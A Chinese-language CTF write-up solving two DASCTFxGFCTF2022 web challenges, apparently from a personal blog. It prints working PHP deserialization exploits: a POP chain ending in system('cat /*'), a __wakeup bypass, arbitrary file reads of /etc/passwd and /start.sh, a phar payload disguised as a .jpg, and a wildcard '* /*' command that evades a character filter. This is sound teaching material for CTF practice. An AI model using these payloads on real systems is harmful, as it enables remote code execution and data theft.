最近打的几场比赛,质量都比较高,学到了很多新东西
DASCTFxGFCTF2022 EasyPOP
学到的新东西:fast_destruct 构造提前执行 __destruct
有关可以参考 https://wh1tecell.top/2021/11/11/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8Bfast-destruct/
类似于绕过 __wakeup
的方法,但题目的php版本无法用增加属性的方式反序列化(但实际上是可以的,改属性也会 fast_destruct,导致反序列化 “失败”,提前执行 __destruct
)
常规pop链构造
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
pop链子
sorry:__destruct() -> show:__toString() -> secret_code:call() -> secret_code:show() ->
sorry:__get -> fine : __invoke
我的exp,**依旧是利用 CVE-2016-7124
绕 __wakeup
,但实际上这题的php版本无法利用这个CVE,但我的payload却能打出,实际上这里更改属性就是用了所谓的 fast_destruct,使得php反序列化 “失败” (反序列化执行了一半),提前执行了 __destruct
,从而绕过了 __wakeup
**
这里官方 wp 还写了怎么绕这个 $a->setPassword(md5(mt_rand()));
,其实并不需要,前面也说过了,你绕这个 __wakeup
就会提前执行 __destruct
,并不会被外界修改,直接反序列化给他俩一样的值就行。
当然这里也学到了点 我们需要确保 password 和 name 的值相等, 可以利用 php 的对象达到⼀个 永真表达式:
$this->name = "jay";
$this->password = &$this->name;
//可以理解为 password 和 name 指向同⼀个地址(类似指针)
//当password 的值改变时 name的值随之更改
这个点在后面的 hade_waibo 题用到了。
<?php
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
}
class show
{
public $ctf;
public function __construct($ctf)
{
$this->ctf = $ctf;
}
}
class sorry
{
private $name;
private $password;
public $hint;
public $key;
public function __construct($name, $password, $h, $key)
{
$this->name = $name;
$this->password = $password;
$this->hint = $h;
$this->key = $key;
}
}
class secret_code
{
protected $code;
function __construct($code)
{
$this->code = $code;
}
}
$key = new fine("system", "cat /*");
$code = new sorry('','','',$key);
$ctf = new secret_code($code);
$h = new show($ctf);
$hint = new sorry("jay", "jay", $h, '');
$ser = serialize($hint);
//两种方法都能执行 绕过 __wakeup ,直接执行 __destruct
$ser = str_replace('"fine":2', '"fine":3', $ser);
// $ser = str_replace('"key";s:0:"";}', '"key";s:0:"";', $ser);
echo urlencode($ser);
DASCTFxGFCTF2022 hade_waibo
当时非预期出的:直接读 /start.sh
里面有 flag 名,然后直接读 flag(出题记得把配置文件删掉啊)
/file.php?m=show&filename=/ect/passwd
可以任意文件读取,直接读源码审计
重点部分的源码
class.php
<?php
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}
class File
{
#更新黑名单为白名单,更加的安全
public $white = array("jpg","png");
public function show($filename){
echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
if(empty($filename)){die();}
return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}
}
#更新了一个恶意又有趣的Test类
class Test
{
public $value;
public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}
}
index.php 关键部分
<?php
error_reporting(0);
session_start();
include 'class.php';
if(isset($_POST['username']) && $_POST['username']!=''){
#修复了登录还需要passwd的漏洞
$user = new User($_POST['username']);
}
可以发现可以上传 phar 文件,利用 phar 反序列化来触发 Test 类中的后门函数从而执行任意命令,但发现执行命令这部分不仅有 __wakeup
的限制,还有 waf 的限制,执行的命令不能匹配正则 [A-Za-z0-9?$@]+
首先看如何利用有限的字符执行命令
前置知识
linux中的执行命令 *
;输入统配符 ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数*
如上 创建一个 名为cat
的文件和名为 dd
的文件(内容为 test string
),那么输入 *
就等价于 cat dd
注意:*
执行的命令顺序是按 ls
的顺序排的,即默认是空格最先,然后特殊符号,其次数字,最后按a-z字母
同时发现 Test 类中
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
如果能执行这个 __toString
写一个名为 cat
的文件,那么执行 * /*
就可以读取跟目录下的文件了(上传的文件的名称以 d
开头,cat
首字母在 d
前,所以上传的文件不影响)
过了命令执行那么就要考虑如何利用pop链来触发 __toString
和绕过 __wakeup
了
第一步
首先是利用 __toString
写个名为 cat
的文件,现在是如何触发这个 __toString
。
找了一圈发现只有 User
类中的 __destruct
可以 ,利用 phar 反序列化让 $this->username = new Test()
,利用$this->username == ''
字符串比较,从而触发 __toString
,但发现 User
类中有个 __wakeup
,当用户名长度在 1~6 直接就会把 $this->username
赋值回字符串。
这里好办,他现在用户名长度只是前端限制了,直接抓包把用户名改到6字符以上,这样 $_SESSION['username']
长度就不满足 $cklen != 0 and $cklen <= 6
,绕过 __wakeup
的这个if。
<?php
class User
{
public $username;
}
class Test
{
public $value;
}
@unlink("phar.phar");
@unlink("phar.jpg");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
//第一步 写入名为cat的文件
$t = new Test();
$user = new User();
$user->username = $t;
echo serialize($user);
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("./phar.phar", "./phar.jpg");
以6字符以上的用户名登录,上传 phar.jpg
(注意上传phar文件不能经过burp的代理,会改变文件编码),写 cat
第二步
写好 cat
文件,然后就是反序列化触发 Test 类中的 __destruct
,但Test 类中还有个 __wakeup
class Test
{
public $value;
public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}
}
所以要绕过这个 __wakeup
的限制。由于题目给的 php 的版本是 7.4.5 ,没法利用 CVE-2016-7124 来绕过 __wakeup
,带想想其他办法。
这里可以利用php中引用的特性和反序列化栈的执行顺序来绕过这个 __wakeup
的限制。
php反序列化是顺序执行的,对属性赋值 是最优先的,然后才是调用 __wakeup
;最后销毁对象 调用__destruct
也是先从最外层执行。
利用这个可以 可以将 Test
的对象赋值给 User
对象的一个属性,然后让 User
的对象中的 $username
指向 Test
的对象中的 value
属性(利用引用)。这样反序列化,按上面说的会先给 User
的对象赋值,这里所赋的值中又有 Test
的对象,所以会先执行 Test
的 __wakeup
,然后再执行 User
的 __wakeup
。可以看到 User
类里的 __wakeup
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
这里 $this->username
是 Test
的对象中 $value
属性的引用,所以更改 $this->username
就等同于修改 $value
,$_SESSION['username']
是用户名,可控,我们改成 * /*
就可以了。
<?php
class User
{
public $username;
}
class Test
{
public $value;
}
@unlink("phar.phar");
@unlink("phar.jpg");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
//第一步 写入名为cat的文件
// $t = new Test();
// $user = new User();
// $user->username = $t;
// echo serialize($user);
// $phar->setMetadata($user); //将自定义的meta-data存入manifest
//第二步 绕过限制给Test的对象的value赋值为 * /*
$t = new Test();
$user = new User();
$user->t = $t;
$user->username = &$t->value;
echo serialize($user);
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("./phar.phar", "./phar.jpg");